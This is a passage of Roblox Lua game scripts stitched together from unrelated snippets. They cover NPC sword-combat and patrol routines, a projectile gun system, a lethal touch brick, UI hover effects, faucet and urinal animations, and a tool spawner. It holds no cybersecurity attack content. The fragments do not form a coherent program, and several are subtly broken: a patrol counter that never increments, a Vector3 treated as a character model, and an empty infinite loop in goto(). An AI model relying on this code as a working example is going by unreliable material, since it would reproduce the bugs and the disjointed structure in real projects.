end end end function attack(name) if script.Parent:findFirstChild("Sword")~=nil then following=true local p=game.Workspace:findFirstChild(name) if p==nil then return end while following==true do script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso) wait(0.5) for i=1, 3 do if p.Humanoid.Health<1 then following=false; stopmoving() return end local l=p.Torso.Position local q=script.Parent.Torso.Position local d=math.sqrt( ((l.x-q.x)^2)+((l.y-q.y)^2)+((l.z-q.z)^2) ) if d<10 then script.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso); slash() if (q.y-l.y)>3 and (q.y-l.y)<7 then script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso); end end wait(1) end end end end function attackany() if script.Parent:findFirstChild("Sword")~=nil then following=true while following==true do local ch=game.Players:children() for i=1, #ch do local l=game.Workspace:findFirstChild(ch[i].Name) if l~=nil then local s=l.Torso local p=l.Torso.Position local q=script.Parent.Torso.Position local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) ) if smallest==nil then smallest=d target=s elseif d<smallest then smallest=d target=s end end end if smallest==nil then stopmoving() return end if smallest>6*dist then return end script.Parent.Humanoid:MoveTo(target.Position, target) if smallest<10 then slash() end if target.Parent==nil then stopmoving() return end wait(0.5) for i=1, 3 do if target.Parent.Humanoid.Health<1 then stopmoving() else local p=target.Position local q=script.Parent.Torso.Position local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) ) if d<10 then script.Parent.Humanoid:MoveTo(target.Position, target); slash() if (q.y-p.y)>3 and (q.y-p.y)<7 then script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso); end end wait(1) end end end end end function patrol() if points==nil then points=0 if game.Workspace:findFirstChild("pp1")~=nil then pp1=game.Workspace:findFirstChild("pp1") local points=points+1 if game.Workspace:findFirstChild("pp2")~=nil then pp2=game.Workspace:findFirstChild("pp2") local points=points+1 if game.Workspace:findFirstChild("pp3")~=nil then pp3=game.Workspace:findFirstChild("pp3") local points=points+1 if game.Workspace:findFirstChild("pp4")~=nil then pp4=game.Workspace:findFirstChild("pp4") local points=points+1 if game.Workspace:findFirstChild("pp5")~=nil then pp5=game.Workspace:findFirstChild("pp5") local points=points+1 if game.Workspace:findFirstChild("pp6")~=nil then pp6=game.Workspace:findFirstChild("pp6") local points=points+1 if game.Workspace:findFirstChild("pp7")~=nil then pp7=game.Workspace:findFirstChild("pp7") local points=points+1 if game.Workspace:findFirstChild("pp8")~=nil then pp8=game.Workspace:findFirstChild("pp8") local points=points+1 if game.Workspace:findFirstChild("pp9")~=nil then pp9=game.Workspace:findFirstChild("pp9") local points=points+1 end end end end end end end end end end if points<1 then return end patrolling=true local time=2 if points==1 then return end if points>1 then while patrolling==true do script.Parent.Humanoid:MoveTo(pp1.Position, pp1) wait(time) script.Parent.Humanoid:MoveTo(pp2.Position, pp2) wait(time) if points>2 then script.Parent.Humanoid:MoveTo(pp3.Position, pp3) wait(time) if points>3 then script.Parent.Humanoid:MoveTo(pp4.Position, pp4) wait(time) if points>4 then script.Parent.Humanoid:MoveTo(pp5.Position, pp5) wait(time) if points>5 then script.Parent.Humanoid:MoveTo(pp6.Position, pp6) wait(time) if points>6 then script.Parent.Humanoid:MoveTo(pp7.Position, pp7) wait(time) if points>7 then script.Parent.Humanoid:MoveTo(pp8.Position, pp8) wait(time) if points>8 then script.Parent.Humanoid:MoveTo(pp9.Position, pp9) wait(time) end end end end end end end end end end function goto(pos,part) while true do end end function slash() for i=1, 3 do wait(.3) RightShoulder.MaxVelocity = 2 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -2.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(.2) RightShoulder.MaxVelocity = 2 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end end function defence() proxkill=true while proxkill==true do local ch=game.Players:children() for i=1, #ch do local p=game.Workspace:findFirstChild(ch[i].Name) if p~=nil then local p=p.Torso.Position local q=script.Parent.Torso.Position local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) ) if d<dist and d>8 then local ex=Instance.new("Explosion") ex.Position=p ex.Parent=game.Workspace end end end wait(1) end end
-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0) local EnemyReticleColor = Color3.new(1, 0, 0) local NeutralReticleColor = Color3.new(1, 1, 1) local Spread = MinSpread local AmmoInClip = ClipSize local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local WeaponGui = nil local LeftButtonDown local Reloading = false local IsShooting = false
-- Libraries
local Maid = require(script.Parent:WaitForChild 'Maid') local Support = require(script.Parent:WaitForChild 'SupportLibrary')
-- Turns on body orientation. Developer-facing.
function BodyOrientation.enable() if enabled then return end playerRemovingConnection = Players.PlayerRemoving:Connect(onPlayerRemoving) playerAddedConnection = Players.PlayerAdded:Connect(onPlayerEntered) for _, player in ipairs(Players:GetChildren()) do onPlayerEntered(player) end enabled = true end
--[=[ Returns a rejected promise with the following values @param ... Values to reject to @return Promise<T> ]=]
function Promise.rejected(...) local n = select("#", ...) if n == 0 then -- Reuse promise here to save on calls to Promise.rejected() return _emptyRejectedPromise end local promise = Promise.new() promise:_reject({...}, n) return promise end
-- useless comment
function onTouched(hit) if not hit or not hit.Parent then return end local human = hit.Parent:findFirstChild("Humanoid") if human and human:IsA("Humanoid") then human:TakeDamage(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) end end script.Parent.Touched:connect(onTouched)
--Tickets
tix1.MouseEnter:connect(function() tix1.BorderColor3 = Color3.new(200/255,0,0) end) tix1.MouseLeave:connect(function() tix1.BorderColor3 = Color3.new(0,0,0) end) tix2.MouseEnter:connect(function() tix2.BorderColor3 = Color3.new(200/255,0,0) end) tix2.MouseLeave:connect(function() tix2.BorderColor3 = Color3.new(0,0,0) end) tix3.MouseEnter:connect(function() tix3.BorderColor3 = Color3.new(200/255,0,0) end) tix3.MouseLeave:connect(function() tix3.BorderColor3 = Color3.new(0,0,0) end)
--r = game:service("RunService") --t, s = r.Stepped:wait() --d = t + 8.0 - s --while t < d do -- t = r.Stepped:wait() --end --while ball.Parent~=nil do
--wait(math.random(10,20)/100) --wait() --magnitude = (ball.Position-ball.TargetPredictedPosition.Value).Magnitude --if ball.Position.Y-2>highestpos then -- highestpos=ball.Position.Y-2 --end --if highestpos>ball.Position.Y and ball.Position.Y>firedheight then -- explode() --end --explodetimer=explodetimer+1 --if explodetimer >= 30 then -- explode() --end --if ball.Position.Y<firedheight and ball.Position.Y<ball.Target.Value.Position.Y then -- explode() --end --if magnitude<math.random(18,72) then -- explode() --end --if ((firedpos-ball.Position).Magnitude>(firedpos-ball.TargetPredictedPosition.Value).Magnitude+math.random(-200,-20)) then -- explode() --end
--[[Weight Scaling]]-- --[[Cubic stud : pounds ratio]]
-- Tune.WeightScaling = 1/130 --Default = 1/130 (1 cubic stud = 130 lbs) return Tune
--MainScriptValues
local Buttons = script.Parent.Buttons local Button1Add = Object.Digit1Panel.AddButton local Button1Sub = Object.Digit1Panel.SubtractButton local Button2Add = Object.Digit2Panel.AddButton local Button2Sub = Object.Digit2Panel.SubtractButton local Button3Add = Object.Digit3Panel.AddButton local Button3Sub = Object.Digit3Panel.SubtractButton local Color = Color3.fromRGB(0, 255, 0) local Screen1 = Object.Digit1Panel.Screen local AddButton1 = Buttons.Button1 local Screen2 = Object.Digit2Panel.Screen local AddButton2 = Buttons.Button2 local Screen3 = Object.Digit3Panel.Screen local AddButton3 = Buttons.Button3 local Size = Vector3.new(0.175, 1, 1) local Material = "Metal"
-- Libraries
RbxUtility = LoadLibrary 'RbxUtility'; Support = require(Tool.SupportLibrary); Security = require(Tool.SecurityModule); RegionModule = require(Tool['Region by AxisAngle']); Serialization = require(Tool.SerializationModule); Create = RbxUtility.Create; CreateSignal = RbxUtility.CreateSignal;
--[MAIN FUNCTION]--
local function onButtonPressed() local success, result = pcall( function() return SocialService:CanSendGameInviteAsync(Player) end ) if result == true then SocialService:PromptGameInvite(Player) end end icon.selected:Connect(function() onButtonPressed() end)
--//wipers
local wpr = Instance.new("Motor", script.Parent.Parent.Misc.WPR.SS) wpr.MaxVelocity = 0.05 wpr.Part0 = script.Parent.WPR wpr.Part1 = wpr.Parent local wpr2 = Instance.new("Motor", script.Parent.Parent.Misc.WPR2.SS) wpr2.MaxVelocity = 0.05 wpr2.Part0 = script.Parent.WPR2 wpr2.Part1 = wpr2.Parent
--[[ Roblox Services ]]
-- local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService")
-- << FUNCTIONS >>
function module:CoreGUIsChanged() if main.topbarEnabled then --TopBar Icon Position local enabledCount = 1 if main.starterGui:GetCoreGuiEnabled("Chat") and main.device ~= "Console" then --[[if main.device == "Mobile" then enabledCount = enabledCount + 2 else enabledCount = enabledCount + 1 end--]] enabledCount = enabledCount + 1 end if main.starterGui:GetCoreGuiEnabled("Backpack") then enabledCount = enabledCount + 1 end if main.starterGui:GetCoreGuiEnabled("EmotesMenu") and main.humanoidRigType == Enum.HumanoidRigType.R15 then enabledCount = enabledCount + 1 end imageButton.Position = UDim2.new(0,50*enabledCount,0.1,0) --TopBar Transparency main.playerGui:SetTopbarTransparency(1) end end
----- hot tap handler -----
hotTap.Interactive.ClickDetector.MouseClick:Connect(function() if hotOn.Value == false then hotOn.Value = true faucet.ParticleEmitter.Enabled = true waterSound:Play() hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(85), 0)) else hotOn.Value = false if coldOn.Value == false then faucet.ParticleEmitter.Enabled = false waterSound:Stop() end hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-85), 0)) end end)
--W8 = script.Parent.WaterSwirl8.ParticleEmitter --Clicks = script.Parent.Motorz.Sound --script.Parent.Pushed.Disabled = true --Clicks:Play() --wait(2.25)
script.Parent.Urinal.Flushes:Play() wait(0.98) W1.Enabled = true W2.Enabled = true W3.Enabled = true W4.Enabled = true W5.Enabled = true W6.Enabled = true W7.Enabled = true wait(0.95) A1.Enabled = true A2.Enabled = true A3.Enabled = true A4.Enabled = true A5.Enabled = true
-- Gathers up all the scripts in the DevModule. We use the resulting array to -- enable all scripts in one step.
local function getDevModuleScripts(devModule: Folder) local scripts = {} for _, descendant in ipairs(devModule:GetDescendants()) do if descendant.Parent == devModule then continue end if descendant:IsA("Script") or descendant:IsA("LocalScript") then table.insert(scripts, descendant) end end return scripts end
--------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------
function CreateBullet(Direction) local Origin = Gun.Main.CFrame.p local BulletMass = S.BulletSize.X * S.BulletSize.Y * S.BulletSize.Z local BulletCF = CF(Origin, Origin + Direction) local Bullet = Instance.new("Part") Bullet.BrickColor = S.BulletColor Bullet.Name = "Bullet" Bullet.CanCollide = false Bullet.FormFactor = "Custom" Bullet.Size = S.BulletSize Bullet.BottomSurface = "Smooth" Bullet.TopSurface = "Smooth" local Mesh = Instance.new("BlockMesh") Mesh.Scale = S.BulletMeshSize Mesh.Parent = Bullet local BF = Instance.new("BodyForce") BF.force = VEC3(0, BulletMass * (196.2 - S.BulletDropPerSecond), 0) BF.Parent = Bullet Bullet.Parent = Gun_Ignore Bullet.CFrame = BulletCF + Direction * 3 Bullet.Velocity = Direction * S.BulletVelocity return Bullet end function CreateBulletHole(HitPos, HitObj) local SurfaceCF = GetHitSurfaceCFrame(HitPos, HitObj) local SurfaceDir = CF(HitObj.CFrame.p, SurfaceCF.p) local SurfaceDist = SurfaceDir.lookVector * (HitObj.CFrame.p - SurfaceCF.p).magnitude / 2 local SurfaceOffset = HitPos - SurfaceCF.p + SurfaceDist local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset local HitMark = Instance.new("Part") HitMark.BrickColor = BrickColor.new("Black") HitMark.Transparency = 1 HitMark.Anchored = true HitMark.CanCollide = false HitMark.FormFactor = "Custom" HitMark.Size = VEC3(1, 1, 0.2) HitMark.TopSurface = 0 HitMark.BottomSurface = 0 local Mesh = Instance.new("BlockMesh") Mesh.Offset = VEC3(0, 0, -0.05) Mesh.Scale = VEC3(S.BulletHoleSize, S.BulletHoleSize, 0) Mesh.Parent = HitMark local Decal = Instance.new("Decal") Decal.Face = Enum.NormalId.Front Decal.Texture = S.BulletHoleTexture Decal.Parent = HitMark HitMark.Parent = Gun_Ignore HitMark.CFrame = SurfaceCFrame if (not HitObj.Anchored) then local Weld = Instance.new("Weld", HitMark) Weld.Part0 = HitObj Weld.Part1 = HitMark Weld.C0 = HitObj.CFrame:toObjectSpace(SurfaceCFrame) HitMark.Anchored = false end delay(S.BulletHoleVisibleTime, function() if S.BulletHoleDisappearTime > 0 then local X = 0 while true do if X == 90 then break end if (not Selected) then break end local NewX = X + (1.5 / S.BulletHoleDisappearTime) X = (NewX > 90 and 90 or NewX) local Alpha = X / 90 Decal.Transparency = NumLerp(0, 1, Alpha) RS:wait() end HitMark:Destroy() else HitMark:Destroy() end end) end function CreateShockwave(Center, Radius) local Shockwave = Instance.new("Part") Shockwave.BrickColor = S.ShockwaveColor Shockwave.Material = Enum.Material.SmoothPlastic Shockwave.Name = "Shockwave" Shockwave.Anchored = true Shockwave.CanCollide = false Shockwave.FormFactor = Enum.FormFactor.Symmetric Shockwave.Size = VEC3(1, 1, 1) Shockwave.BottomSurface = Enum.SurfaceType.Smooth Shockwave.TopSurface = Enum.SurfaceType.Smooth local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.Sphere Mesh.Scale = VEC3() Mesh.Parent = Shockwave Shockwave.Parent = Gun_Ignore Shockwave.CFrame = CF(Center) spawn(function() for i = 0, 1, (1 / (60 * S.ShockwaveDuration)) do local Scale = 2 * Radius * i Mesh.Scale = VEC3(Scale, Scale, Scale) Shockwave.Transparency = i RS:wait() end Shockwave:Destroy() end) end
-- See if I have a tool
local spawner = script.Parent local tool = nil local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2), Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2)) local parts = game.Workspace:FindPartsInRegion3(region) for _, part in pairs(parts) do if part and part.Parent and part.Parent:IsA("Tool") then tool = part.Parent break end end local configTable = spawner.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("SpawnCooldown", 5) if tool then tool.Parent = game.ServerStorage while true do -- put tool on pad local toolCopy = tool:Clone() local handle = toolCopy:FindFirstChild("Handle") toolCopy.Parent = game.Workspace local toolOnPad = true local parentConnection parentConnection = toolCopy.AncestryChanged:connect(function() if handle then handle.Anchored = false end toolOnPad = false parentConnection:disconnect() end) if handle then handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) handle.Anchored = true end -- wait for tool to be removed while toolOnPad do if handle then handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60) end wait(10) end -- wait for cooldown wait(configs["SpawnCooldown"]) end end